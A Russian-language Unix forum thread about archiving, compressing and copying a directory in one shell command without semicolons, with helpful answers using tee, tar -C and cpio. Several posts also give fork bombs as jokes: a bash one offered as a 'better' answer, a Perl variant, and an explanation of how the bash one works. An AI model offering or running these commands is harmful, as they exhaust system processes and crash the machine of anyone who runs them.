одна строка

Все о программировании под *nix
Lioxa
Неотъемлемая часть форума
Сообщения: 732
Зарегистрирован: 18 янв 2004, 22:29
Откуда: Минск
Контактная информация:

одна строка

Сообщение Lioxa »

На форуме обсуждалась тема, в которой приводился пример обработки кучифайлов. По аналогии возникла интересная задача. Она не совсем поддходит к данной теме, но это наиболее близкий по тематике форум. Так вот:

есть папка с файлами, её нужно заархивировать tar, сжать gz, и скопировать в конкретную папку. Условие такое: нужно это сделать командой в одну строку и не использовать ";".

С архивацией и сжатием всё просто, а вот передать на cp в одной строке у меня не получилось...

Возможно ли сделать такое?

Аватара пользователя
sanitar
Неотъемлемая часть форума
Сообщения: 1116
Зарегистрирован: 28 ноя 2002, 02:23
Откуда: Минск

Сообщение sanitar »

возможно. Написать скрипт, положить его в одну из папок $PATH, дать право на выполнение.
и осуществлять указанную операцию одной строкой -- вызовом скрипта
I'll kill this code without a knife -- with only fork().

Аватара пользователя
Llama
Неотъемлемая часть форума
Сообщения: 9749
Зарегистрирован: 06 фев 2002, 11:40
Откуда: Менск

Сообщение Llama »

и именно скопировать, т.к. чтобы файл был в двух местах после этой команды?
Опыт растет прямо пропорционально выведенному из строя оборудованию

Аватара пользователя
sanitar
Неотъемлемая часть форума
Сообщения: 1116
Зарегистрирован: 28 ноя 2002, 02:23
Откуда: Минск

Сообщение sanitar »

Хм, а вот так

tar czf newarch.tar.gz my_dir | cp newarch.tar.gz ANOTHER_DIR

не получится?
Или использовать && вместо точки с запятой...

линуха под рукой нет, проверить не могу -- поэтому о результате свистните.
I'll kill this code without a knife -- with only fork().

Аватара пользователя
Llama
Неотъемлемая часть форума
Сообщения: 9749
Зарегистрирован: 06 фев 2002, 11:40
Откуда: Менск

Сообщение Llama »

Все гораздо проще...

tar zcv /path/to/dir/ |tee /path1/file1.tar.gz >/path2/file2.tar.gz

PS: Аффтор сдает лабу?
Опыт растет прямо пропорционально выведенному из строя оборудованию

Аватара пользователя
myst
Маньяк
Сообщения: 190
Зарегистрирован: 04 окт 2005, 15:46
Откуда: не возвращаются

Сообщение myst »

$ tar -cz -f <куда положить> -C <папка_1> <папка_2>

где <папка_1> -- это папка, содержащая <папка_2>, <папка_2> -- короткое имя папки, которую запаковать надо.
Иными вечерами я пью, чтобы кого-нибудь не пристрелить. Это акт благотворительности. Не за что.

Аватара пользователя
myst
Маньяк
Сообщения: 190
Зарегистрирован: 04 окт 2005, 15:46
Откуда: не возвращаются

Сообщение myst »

А лучше

Код: Выделить всё

$ :(){ :|:& };:
Иными вечерами я пью, чтобы кого-нибудь не пристрелить. Это акт благотворительности. Не за что.

Аватара пользователя
Llama
Неотъемлемая часть форума
Сообщения: 9749
Зарегистрирован: 06 фев 2002, 11:40
Откуда: Менск

Сообщение Llama »

myst, ulimit -n 1000000; perl -ne 'fork while 1' вам в сервер ;)
Опыт растет прямо пропорционально выведенному из строя оборудованию

Аватара пользователя
red f0x
Неотъемлемая часть форума
Сообщения: 338
Зарегистрирован: 08 мар 2004, 01:41

Сообщение red f0x »

Llama, жестокий вы человек, батенька 8)
Ну какая работа со строками может быть в языке, название которого является не строкой, а символом? (c) Sergue E. Leontiev

Аватара пользователя
myst
Маньяк
Сообщения: 190
Зарегистрирован: 04 окт 2005, 15:46
Откуда: не возвращаются

Сообщение myst »

Llama писал(а):myst, ulimit -n 1000000; perl -ne 'fork while 1' вам в сервер ;)
За что?!
Иными вечерами я пью, чтобы кого-нибудь не пристрелить. Это акт благотворительности. Не за что.

Аватара пользователя
Llama
Неотъемлемая часть форума
Сообщения: 9749
Зарегистрирован: 06 фев 2002, 11:40
Откуда: Менск

Сообщение Llama »

за :(){ :|:& };: ;)
Опыт растет прямо пропорционально выведенному из строя оборудованию

Аватара пользователя
red f0x
Неотъемлемая часть форума
Сообщения: 338
Зарегистрирован: 08 мар 2004, 01:41

Сообщение red f0x »

Код: Выделить всё

:(){ :|:& };:
Хм, а что это? :? Ежели не секрет... Что-то не въехал
Ну какая работа со строками может быть в языке, название которого является не строкой, а символом? (c) Sergue E. Leontiev

Аватара пользователя
Llama
Неотъемлемая часть форума
Сообщения: 9749
Зарегистрирован: 06 фев 2002, 11:40
Откуда: Менск

Сообщение Llama »

red f0x, тоже самое, что я написал, только на bash
Опыт растет прямо пропорционально выведенному из строя оборудованию

zotrix
Интересующийся
Сообщения: 65
Зарегистрирован: 01 янв 2005, 11:52

Сообщение zotrix »

если почему-то не хочется использовать tar то cpio никто не отменял

zotrix
Интересующийся
Сообщения: 65
Зарегистрирован: 01 янв 2005, 11:52

Сообщение zotrix »

:() обьявление функции
{
:|:&
вызов самой себя с передачей выхода на себя в бекгарунде
};
:
инициация получившейся гадости

Ответить